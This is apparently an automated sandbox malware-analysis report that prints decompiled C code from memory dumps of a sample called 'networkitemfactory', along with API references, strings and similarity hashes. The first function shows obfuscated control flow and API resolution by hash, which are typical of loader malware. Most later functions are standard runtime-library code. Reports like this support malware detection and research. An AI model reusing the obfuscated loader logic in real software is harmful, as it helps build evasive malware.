				intOrPtr* _t172;
				void* _t174;
				void* _t175;
				void* _t176;
				intOrPtr* _t177;
				intOrPtr* _t178;
				void* _t179;
				void* _t180;
				void* _t181;

				_t179 =  &_v1084;
				_v1080 = __edx;
				_t43 = 0x120bbb7e;
				_v1076 = __ecx;
				while(1) {
					L1:
					_t177 = _v1064;
					_t101 = _v1060;
					while(1) {
						_t168 = _v1072;
						do {
							while(1) {
								L3:
								_t180 = _t43 - 0x120bbb7e;
								if(_t180 > 0) {
									break;
								}
								if(_t180 == 0) {
									_t63 =  *0x20bddc8;
									__eflags = _t63;
									if(_t63 == 0) {
										_t63 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0x298e8809, _t177);
										 *0x20bddc8 = _t63;
									}
									_t169 =  *_t63();
									_t65 =  *0x20bdcf0;
									__eflags = _t65;
									if(_t65 == 0) {
										_t65 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0xc9d236a5, _t177);
										 *0x20bdcf0 = _t65;
									}
									_t66 =  *_t65(_t169, 8, 0x54);
									_t101 = _t66;
									_v1072 = _t101;
									__eflags = _t101;
									if(_t101 == 0) {
										return _t66;
									} else {
										_t43 = 0x327da77b;
										while(1) {
											_t168 = _v1072;
											goto L3;
										}
									}
								} else {
									_t181 = _t43 - 0x50215d6;
									if(_t181 > 0) {
										__eflags = _t43 - 0xc08f76b;
										if(_t43 == 0xc08f76b) {
											_t69 = E020BB380( &_v1056,  &_v1072, _t177);
											asm("sbb eax, eax");
											_t43 = ( ~_t69 & 0x3071774a) + 0x1ccce1b;
											while(1) {
												_t168 = _v1072;
												goto L3;
											}
										} else {
											__eflags = _t43 - 0xfc8d800;
											if(_t43 != 0xfc8d800) {
												goto L50;
											} else {
												E020B4180(_t101, _t168);
												_t43 = 0x1ccce1b;
												continue;
											}
										}
									} else {
										if(_t181 == 0) {
											_t170 =  *0x20be368; // 0x54d130
											_t73 =  *0x20bdbe8;
											_t171 = _t170 + 0x14;
											_v1052 = _t171;
											__eflags = _t73;
											if(_t73 == 0) {
												_t73 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0x7293aecb, _t177);
												 *0x20bdbe8 = _t73;
											}
											_t74 =  *_t73(_t171);
											_t172 =  *0x20bdef0;
											_v1052 = 2 + _t74 * 2;
											__eflags = _t172;
											if(_t172 == 0) {
												_t172 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0x3a73900, _t177);
												 *0x20bdef0 = _t172;
											}
											_t178 = _t172;
											__eflags = _t172;
											if(_t172 == 0) {
												_t172 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0x3a73900, _t178);
												 *0x20bdef0 = _t172;
											}
											_t102 = _t172;
											__eflags = _t172;
											if(_t172 == 0) {
												 *0x20bdef0 = E020B3DD0(_t102, E020B3E70(0xbb51e2dc), 0x3a73900, _t178);
											}
											_t167 =  *0x20bddc0; // 0x0
											__eflags = _t167;
											if(_t167 == 0) {
												_t167 = E020B3DD0(_t102, E020B3E70(0xbb51e2dc), 0x93e1a21f, _t178);
												 *0x20bddc0 = _t167;
											}
											_t80 =  *_t167(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(),  &_v1060, 0x100000, 1, 0);
											_t115 = _v1108;
											asm("sbb eax, eax");
											_t43 = ( ~_t80 & 0xe7c24535) + 0x2446b236;
											goto L1;
										} else {
											if(_t43 == 0x1ccce1b) {
												_t92 =  *0x20bde38;
												__eflags = _t92;
												if(_t92 == 0) {
													_t92 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0x76fc23ac, _t177);
													 *0x20bde38 = _t92;
												}
												 *_t92(_v1056);
												_t115 = _v1080;
												_t43 = 0x35541bc;
												_t158 = _v1084;
												continue;
											} else {
												if(_t43 == 0x35541bc) {
													 *((intOrPtr*)(_t101 + 0x4c)) = _t115;
													_t95 =  *0x20be358; // 0x0
													 *((intOrPtr*)(_t101 + 0x18)) = _t95;
													 *0x20be358 = _t101;
													return _t95;
												} else {
													if(_t43 != 0x4cec42f) {
														goto L50;
													} else {
														_t174 = E020B3460(0x20bdb60);
														_t97 =  *0x20bdf10;
														if(_t97 == 0) {
															_t97 = E020B3DD0(_t101, E020B3E70(0xe60124ba), 0xec538b3a, _t177);
															 *0x20bdf10 = _t97;
														}
														 *_t97( &_v1044, 0x104, _t174,  &_v524, _t177);
														_t179 = _t179 + 0x14;
														E020B3400(_t174);
														_t115 = _v1076;
														_t43 = 0x2a25fc8b;
														_t158 = _v1080;
														while(1) {
															_t168 = _v1072;
															goto L3;
														}
													}
												}
											}
										}
									}
								}
								L60:
							}
							__eflags = _t43 - 0x303d5fe9;
							if(__eflags > 0) {
								__eflags = _t43 - 0x323e4565;
								if(_t43 == 0x323e4565) {
									_t177 = E020B1150(_v1068);
									__eflags = _t177;
									_v1064 = _t177;
									_t43 =  !=  ? 0x4cec42f : 0xfc8d800;
									goto L3;
								} else {
									__eflags = _t43 - 0x327da77b;
									if(_t43 != 0x327da77b) {
										goto L50;
									} else {
										_t47 = E020BAB90(_t115, _t158,  &_v524);
										_t115 = _v1076;
										_t179 = _t179 + 4;
										_t158 = _v1080;
										asm("sbb eax, eax");
										_t43 = ( ~_t47 & 0xe0bb63a0) + 0x2446b236;
										goto L3;
									}
								}
							} else {
								if(__eflags == 0) {
									_t50 =  *0x20bddc8;
									__eflags = _t50;
									if(_t50 == 0) {
										_t50 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0x298e8809, _t177);
										 *0x20bddc8 = _t50;
									}
									_t175 =  *_t50();
									_t52 =  *0x20bdbec;
									__eflags = _t52;
									if(_t52 == 0) {
										_t52 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0x632f374, _t177);
										 *0x20bdbec = _t52;
									}
									 *_t52(_t175, 0, _t177);
									_t115 = _v1088;
									_t43 = 0xfc8d800;
									_t158 = _v1092;
									_t168 = _v1072;
									goto L3;
								} else {
									__eflags = _t43 - 0x2446b236;
									if(_t43 == 0x2446b236) {
										_t56 =  *0x20bddc8;
										__eflags = _t56;
										if(_t56 == 0) {
											_t56 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0x298e8809, _t177);
											 *0x20bddc8 = _t56;
										}
										_t176 =  *_t56();
										_t58 =  *0x20bdbec;
										__eflags = _t58;
										if(_t58 == 0) {
											_t58 = E020B3DD0(_t101, E020B3E70(0xbb51e2dc), 0x632f374, _t177);
											 *0x20bdbec = _t58;
										}
										return  *_t58(_t176, 0, _t101);
									}
									__eflags = _t43 - 0x2a25fc8b;
									if(_t43 != 0x2a25fc8b) {
										goto L50;
									} else {
										_push(0);
										_push(_t115);
										E020B4AE0(_t101, 0,  &_v1044, _t177, 1);
										_t115 = _v1076;
										_t179 = _t179 + 0xc;
										_t158 = _v1080;
										_t43 = 0x303d5fe9;
										goto L3;
									}
								}
							}
							goto L60;
							L50:
							__eflags = _t43 - 0x3b079ae2;
						} while (_t43 != 0x3b079ae2);
						return _t43;
						goto L60;
					}
				}
			}

0x020b9fd0
0x020b9fda
0x020b9fde
0x020b9fe3
0x020b9fe7
0x020b9fe7
0x020b9fe7
0x020b9ff0
0x020b9ff4
0x020b9ff4
0x020ba000
0x020ba000
0x020ba000
0x020ba000
0x020ba005
0x00000000
0x00000000
0x020ba00b
0x020ba23b
0x020ba240
0x020ba242
0x020ba255
0x020ba25a
0x020ba25a
0x020ba261
0x020ba263
0x020ba268
0x020ba26a
0x020ba27d
0x020ba282
0x020ba282
0x020ba28c
0x020ba28e
0x020ba290
0x020ba294
0x020ba296
0x020ba449
0x020ba29c
0x020ba2a0
0x020b9ff4
0x020b9ff4
0x00000000
0x020b9ff8
0x020b9ff4
0x020ba011
0x020ba011
0x020ba016
0x020ba1e8
0x020ba1ed
0x020ba21b
0x020ba22a
0x020ba231
0x020b9ff4
0x020b9ff4
0x00000000
0x020b9ff8
0x020ba1ef
0x020ba1ef
0x020ba1f4
0x00000000
0x020ba1fa
0x020ba1fc
0x020ba205
0x00000000
0x020ba20a
0x020ba1f4
0x020ba01c
0x020ba01c
0x020ba0dd
0x020ba0e3
0x020ba0e8
0x020ba0eb
0x020ba0ef
0x020ba0f1
0x020ba104
0x020ba109
0x020ba109
0x020ba10f
0x020ba111
0x020ba11e
0x020ba122
0x020ba124
0x020ba13c
0x020ba13e
0x020ba13e
0x020ba144
0x020ba146
0x020ba148
0x020ba160
0x020ba162
0x020ba162
0x020ba168
0x020ba16a
0x020ba16c
0x020ba186
0x020ba186
0x020ba18c
0x020ba192
0x020ba194
0x020ba1ac
0x020ba1ae
0x020ba1ae
0x020ba1cb
0x020ba1cd
0x020ba1d7
0x020ba1de
0x00000000
0x020ba022
0x020ba027
0x020ba0a1
0x020ba0a6
0x020ba0a8
0x020ba0bb
0x020ba0c0
0x020ba0c0
0x020ba0c9
0x020ba0cb
0x020ba0cf
0x020ba0d4
0x00000000
0x020ba029
0x020ba02e
0x020ba3d1
0x020ba3d4
0x020ba3d9
0x020ba3dc
0x020ba3ec
0x020ba034
0x020ba039
0x00000000
0x020ba03f
0x020ba049
0x020ba04b
0x020ba052
0x020ba065
0x020ba06a
0x020ba06a
0x020ba083
0x020ba085
0x020ba08a
0x020ba08f
0x020ba093
0x020ba098
0x020b9ff4
0x020b9ff4
0x00000000
0x020b9ff4
0x020b9ff4
0x020ba039
0x020ba02e
0x020ba027
0x020ba01c
0x020ba016
0x00000000
0x020ba00b
0x020ba2ae
0x020ba2b3
0x020ba35a
0x020ba35f
0x020ba3b8
0x020ba3be
0x020ba3c5
0x020ba3c9
0x00000000
0x020ba361
0x020ba361
0x020ba366
0x00000000
0x020ba368
0x020ba370
0x020ba375
0x020ba379
0x020ba37c
0x020ba382
0x020ba389
0x00000000
0x020ba389
0x020ba366
0x020ba2b9
0x020ba2b9
0x020ba2f6
0x020ba2fb
0x020ba2fd
0x020ba310
0x020ba315
0x020ba315
0x020ba31c
0x020ba31e
0x020ba323
0x020ba325
0x020ba338
0x020ba33d
0x020ba33d
0x020ba346
0x020ba348
0x020ba34c
0x020ba351
0x020b9ff4
0x00000000
0x020ba2bb
0x020ba2bb
0x020ba2c0
0x020ba3ed
0x020ba3f2
0x020ba3f4
0x020ba407
0x020ba40c
0x020ba40c
0x020ba413
0x020ba415
0x020ba41a
0x020ba41c
0x020ba42f
0x020ba434
0x020ba434
0x00000000
0x020ba43d
0x020ba2c6
0x020ba2cb
0x00000000
0x020ba2d1
0x020ba2d1
0x020ba2d3
0x020ba2dc
0x020ba2e1
0x020ba2e5
0x020ba2e8
0x020ba2ec
0x00000000
0x020ba2ec
0x020ba2cb
0x020ba2b9
0x00000000
0x020ba393
0x020ba393
0x020ba393
0x020ba3a8
0x00000000
0x020ba3a8
0x020b9ff4

APIs

GetCurrentProcess.KERNEL32(?,00100000,00000001,00000000), ref: 020BA1C2
GetCurrentProcess.KERNEL32(00000000), ref: 020BA1C5
GetCurrentProcess.KERNEL32(00000000), ref: 020BA1C8

Strings

_=0, xrefs: 020BA2AE
_=0, xrefs: 020BA2EC
eE>2, xrefs: 020BA35A

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: eE>2$_=0$_=0
API String ID: 2050909247-791634396
Opcode ID: 3590b35b0922b9c96ab6d432a5f2acc57ac2838e349ec63e2681341c4ef0f071
Instruction ID: 03b536b59c329dafaaf423846b27218e81164ab89bbda0b80fb67fc866a0ab72
Opcode Fuzzy Hash: 3590b35b0922b9c96ab6d432a5f2acc57ac2838e349ec63e2681341c4ef0f071
Instruction Fuzzy Hash: 0DB1C074B043058BDB7BEF689890AEE73E6AFC5650F20086AE455DB340EB34DD019B92

Uniqueness

Uniqueness Score: -1.00%

Function 004030AC, Relevance: 10.6, APIs: 7, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E004030AC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t36;
				intOrPtr _t44;
				void* _t45;
				intOrPtr* _t47;
				intOrPtr _t49;
				void* _t51;
				void* _t53;

				_t45 = __edx;
				_push(0xc);
				_push(0x434250);
				E00406830(__ebx, __edi, __esi);
				_t49 =  *((intOrPtr*)(_t53 + 8));
				if( *((intOrPtr*)(_t49 + 4)) != 0) {
					L15:
					_t21 =  *((intOrPtr*)(_t49 + 4));
				} else {
					_push(0x2800);
					_push(E00402CB3);
					_push(E004025D7);
					_push(0);
					_t21 = _t49 + 9;
					_push(_t21);
					_push(0);
					"jdh EC"();
					_t36 = _t21;
					if(_t36 != 0) {
						_t51 = E00406CD0(_t36);
						while(_t51 != 0) {
							_t51 = _t51 - 1;
							if( *((char*)(_t51 + _t36)) == 0x20) {
								 *((char*)(_t51 + _t36)) = 0;
								continue;
							}
							L7:
							E00406D5B(0xe);
							 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
							if( *((intOrPtr*)(_t49 + 4)) == 0) {
								_t27 = E004025D7(_t36, _t45, _t49, 8);
								 *((intOrPtr*)(_t53 - 0x1c)) = _t27;
								if(_t27 != 0) {
									_t52 = _t51 + 2;
									_t28 = E004025D7(_t36, _t45, _t49, _t51 + 2);
									 *((intOrPtr*)(_t49 + 4)) = _t28;
									if(_t28 == 0) {
										L13:
										E00402CB3( *((intOrPtr*)(_t53 - 0x1c)));
									} else {
										if(E00406C6E(_t28, _t52, _t36) != 0) {
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											E00406C1E(_t36, _t45);
											goto L13;
										} else {
											_t47 =  *((intOrPtr*)(_t53 - 0x1c));
											 *_t47 =  *((intOrPtr*)(_t49 + 4));
											_t44 =  *((intOrPtr*)(_t53 + 0xc));
											 *((intOrPtr*)(_t47 + 4)) =  *((intOrPtr*)(_t44 + 4));
											 *((intOrPtr*)(_t44 + 4)) = _t47;
										}
									}
								}
							}
							E00402CB3(_t36);
							 *(_t53 - 4) = 0xfffffffe;
							E00403194();
							goto L15;
						}
						_t51 = _t51 - 1;
						goto L7;
					}
				}
				return E00406875(_t21);
			}

APIs

___unDName.LIBCMT ref: 004030DB
_strlen.LIBCMT ref: 004030EE
__lock.LIBCMT ref: 0040310A
_malloc.LIBCMT ref: 0040311C
_malloc.LIBCMT ref: 0040312D
_free.LIBCMT ref: 00403176

Part of subcall function 00406C1E: IsProcessorFeaturePresent.KERNEL32(00000017,00406BF2,00000000,?,?,?,?,?,00406BFF,00000000,00000000,00000000,00000000,00000000,00405FFC), ref: 00406C20

_free.LIBCMT ref: 0040316F

Part of subcall function 00402CB3: HeapFree.KERNEL32(00000000,00000000,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CC7
Part of subcall function 00402CB3: GetLastError.KERNEL32(xuC,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CD9

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 4982373046e5d6618406c5f35a984e0497dfac13016beb111cc1953250947740
Instruction ID: c0db6f7d0662a5cb01ac585c96d5be62debaf1bba68ce3c52ba4cfbe577086f4
Opcode Fuzzy Hash: 4982373046e5d6618406c5f35a984e0497dfac13016beb111cc1953250947740
Instruction Fuzzy Hash: 7C21F771904601BAD711AF358D46B6BBA98AF09315F10813FB819BB2C1DB7CDA41C69C

Uniqueness

Uniqueness Score: -1.00%

Function 0040435E, Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040435E(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E00403B79(_t3);
				if(E00406EAC() != 0) {
					_t6 = E004062A5(E004040B9);
					 *0x4351c0 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E0040CFF1(1, 0x3bc);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E004043D4();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E00406301( *0x4351c0, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E004042AB(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E004043D4();
					return 0;
				}
			}

APIs

__init_pointers.LIBCMT ref: 0040435E

Part of subcall function 00403B79: RtlEncodePointer.NTDLL(00000000,?,00404363,00402B70,00434230,00000014), ref: 00403B7C
Part of subcall function 00403B79: __initp_misc_winsig.LIBCMT ref: 00403B97
Part of subcall function 00403B79: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00406461
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00406475
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00406488
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0040649B
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004064AE
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 004064C1
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 004064D4
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 004064E7
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 004064FA
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0040650D
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00406520
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00406533
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00406546
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00406559
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0040656C
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0040657F

__mtinitlocks.LIBCMT ref: 00404363
__mtterm.LIBCMT ref: 0040436C

Part of subcall function 004043D4: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00406DC6
Part of subcall function 004043D4: _free.LIBCMT ref: 00406DCD
Part of subcall function 004043D4: DeleteCriticalSection.KERNEL32(xuC,?,?,00404371,00402B70,00434230,00000014), ref: 00406DEF

__calloc_crt.LIBCMT ref: 00404391
__initptd.LIBCMT ref: 004043B3
GetCurrentThreadId.KERNEL32 ref: 004043BA

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 3339dd92b905196a4c42f06426374c0a1ac13dbf5bf5d1ed4aba601c44fe22ee
Instruction ID: ff0ecafb33dab0f9688af2411afeda57b66d43e85835077dd4caad25b267e939
Opcode Fuzzy Hash: 3339dd92b905196a4c42f06426374c0a1ac13dbf5bf5d1ed4aba601c44fe22ee
Instruction Fuzzy Hash: C7F0F6B22187121AE62437767C0374B3A90EF80738B20263FFA90F41D2EF7D9411425C

Uniqueness

Uniqueness Score: -1.00%

Function 00401BA0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,LdrFindResource_U), ref: 00401BF4
GetProcAddress.KERNEL32(00000000,LdrAccessResource), ref: 00401BFE

Strings

LdrAccessResource, xrefs: 00401BF6
ntdll.dll, xrefs: 00401BC8
LdrFindResource_U, xrefs: 00401BEE

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: AddressProc
String ID: LdrAccessResource$LdrFindResource_U$ntdll.dll
API String ID: 190572456-309990276
Opcode ID: 374ed4848605be23ddd654ab2968cb408ecf5167f409eae68abec4d7f6b343ea
Instruction ID: 0be7b2e87ea625e9e257cfe7c5ec55fbb677ed6b4a9053280dbe75720fce2a0f
Opcode Fuzzy Hash: 374ed4848605be23ddd654ab2968cb408ecf5167f409eae68abec4d7f6b343ea
Instruction Fuzzy Hash: 2111CE71A4021DABDB00DFE9D981BAFBBF8AF08714F50406BE904F7280D67999058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DCE3, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040DCE3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				signed int _t20;
				signed int _t26;
				void* _t30;
				void* _t32;
				signed int _t35;
				void* _t36;

				_t30 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x434600);
				E00406830(__ebx, __edi, __esi);
				 *(_t36 - 0x1c) = 0;
				_t32 = E00404224();
				_t26 =  *0x435d60; // 0xfffffffe
				if(( *(_t32 + 0x70) & _t26) == 0 ||  *((intOrPtr*)(_t32 + 0x6c)) == 0) {
					_t15 = E00406D5B(0xd);
					 *((intOrPtr*)(_t36 - 4)) = 0;
					_t35 =  *(_t32 + 0x68);
					 *(_t36 - 0x1c) = _t35;
					__eflags = _t35 -  *0x435794; // 0x536ce0
					if(__eflags != 0) {
						__eflags = _t35;
						if(__eflags != 0) {
							__eflags = _t15 | 0xffffffff;
							asm("lock xadd [esi], eax");
							if(__eflags == 0) {
								__eflags = _t35 - 0x435570;
								if(__eflags != 0) {
									E00402CB3(_t35);
								}
							}
						}
						_t20 =  *0x435794; // 0x536ce0
						 *(_t32 + 0x68) = _t20;
						_t35 =  *0x435794; // 0x536ce0
						 *(_t36 - 0x1c) = _t35;
						asm("lock xadd [esi], eax");
					}
					 *((intOrPtr*)(_t36 - 4)) = 0xfffffffe;
					E0040DD80();
				} else {
					_t35 =  *(_t32 + 0x68);
				}
				_t40 = _t35;
				if(_t35 == 0) {
					E00403A3B(_t25, _t30, _t32, _t35, _t40, 0x20);
				}
				return E00406875(_t35);
			}

APIs

Part of subcall function 00404224: __getptd_noexit.LIBCMT ref: 00404225
Part of subcall function 00404224: __amsg_exit.LIBCMT ref: 00404232

__amsg_exit.LIBCMT ref: 0040DD14
__lock.LIBCMT ref: 0040DD24
_free.LIBCMT ref: 0040DD51

Strings

lS, xrefs: 0040DD57, 0040DD5F
pUC, xrefs: 0040DD48

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: __amsg_exit$__getptd_noexit__lock_free
String ID: pUC$lS
API String ID: 3054295789-4220208505
Opcode ID: 4c84405c307965613a111f208fc7c825eb10043995980390d3693b8e5dccc630
Instruction ID: f7bd0d1cb375b59fdf65ca27020606fa41fe1823a4a118f136f2b5f5d8d1c8b0
Opcode Fuzzy Hash: 4c84405c307965613a111f208fc7c825eb10043995980390d3693b8e5dccc630
Instruction Fuzzy Hash: D8118E32D01A21ABDB21AFA9A40125AB7A0BF04B20F15413FF854B72D0C7386946CFCD

Uniqueness

Uniqueness Score: -1.00%

Function 004047D4, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E004047D4(void* __ebx, void* __esi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __ebp;
				void* _t25;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				intOrPtr* _t31;
				void* _t33;

				_t30 = __esi;
				_t27 = __ebx;
				_t35 = _a28;
				_t29 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t29);
					_t5 =  &_a4; // 0x404c38
					_push( *_t5);
					E00404EE0(__ebx, _t29, __esi, _t35);
					_t33 = _t33 + 0x10;
				}
				_t36 = _a40;
				_t7 =  &_a4; // 0x404c38
				_push( *_t7);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t29);
				}
				E00402935(_t28);
				_push(_t30);
				_t31 = _a32;
				_push( *_t31);
				_push(_a20);
				_push(_a16);
				_push(_t29);
				E0040551F(_t27, _t31, _t36);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t29 + 8)) =  *((intOrPtr*)(_t31 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t29);
				_push(_a4);
				_t25 = E004045CE(_t27, _t29, _t31, _t36);
				if(_t25 != 0) {
					E00402903(_t25, _t29);
					return _t25;
				}
				return _t25;
			}

APIs

___BuildCatchObject.LIBCMT ref: 004047EB

Part of subcall function 00404EE0: ___AdjustPointer.LIBCMT ref: 00404F29

_UnwindNestedFrames.LIBCMT ref: 00404802
___FrameUnwindToState.LIBCMT ref: 00404814
CallCatchBlock.LIBCMT ref: 00404838

Strings

8L@, xrefs: 004047F7, 004047E8

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID: 8L@
API String ID: 2633735394-4280888483
Opcode ID: de3a390995e930c270733da9eb8ff1fb1c933b5d220bcc45bc1d3bfe70562cc1
Instruction ID: 7addfb298fc54b3c6c01c9a40d77cef2251b0c5da60657127e47733218de6bb0
Opcode Fuzzy Hash: de3a390995e930c270733da9eb8ff1fb1c933b5d220bcc45bc1d3bfe70562cc1
Instruction Fuzzy Hash: 28012D72000109BBCF126F55DC05EDB3BBAFF89754F15802AFA1872161C779E861EBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401B00, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401B00(struct HINSTANCE__* _a4) {
				struct _WNDCLASSEXA _v52;
				struct HINSTANCE__* _t16;

				_t16 = _a4;
				_v52.cbSize = 0x30;
				_v52.style = 3;
				_v52.lpfnWndProc = 0x401046;
				_v52.cbClsExtra = 0;
